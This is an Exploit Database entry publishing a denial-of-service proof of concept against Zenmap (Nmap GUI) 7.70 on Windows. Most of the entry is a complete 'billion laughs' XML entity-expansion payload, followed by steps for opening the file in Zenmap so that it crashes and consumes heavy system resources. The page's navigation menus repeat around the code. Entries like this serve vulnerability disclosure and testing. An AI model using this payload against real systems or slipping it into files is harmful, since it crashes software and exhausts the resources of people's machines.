



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Zenmap (Nmap) 7.70 - Denial of Service (PoC)

EDB-ID:

45357

CVE:

N/A

EDB Verified: ✘

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS_X86](#)

Date:

2018-09-10

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Nmap 7.70 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-09-10
# Software Link: https://nmap.org/dist/nmap-7.70-setup.exe
# Tested Version: 7.70 (ZenMap)
# Tested on OS: Windows 7 32bit
```

```
# Description: This vulnerability causes the program to crash and start to heavily consume
# system resources. Do not test on critical systems, can cause system crash.
```

```
# Steps to reproduce:
```

```
# 1. Create a file in Notepad with the following and save it as "test.xml":
```

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2
"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  <!ENTITY lol10
"&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  <!ENTITY lol11
"&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
  <!ENTITY lol12
"&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
  <!ENTITY lol13
"&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
  <!ENTITY lol14
"&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
  <!ENTITY lol15
"&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
  <!ENTITY lol16
"&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;&lol15;">
  <!ENTITY lol17
"&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;&lol16;">
  <!ENTITY lol18
"&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;&lol17;">
  <!ENTITY lol19
"&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;&lol18;">
  <!ENTITY lol20
"&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;&lol19;">
  <!ENTITY lol21
"&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;&lol20;">
  <!ENTITY lol22
"&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;&lol21;">
  <!ENTITY lol23
"&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;&lol22;">
  <!ENTITY lol24
"&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;&lol23;">
  <!ENTITY lol25
```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

```

"&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;&lol24;">
<!ENTITY lol26
"&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;&lol25;">
<!ENTITY lol27
"&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;&lol26;">
<!ENTITY lol28
"&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;&lol27;">
<!ENTITY lol29
"&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;&lol28;">
<!ENTITY lol30
"&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;&lol29;">
]>
<lolz>&lol30;</lolz>

```

- # 2. Open Zenmap > Scan > Open Scan > "test.xml"
- # 3. Crash

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES



[OffSec Services Limited](#) 2026. All rights reserved.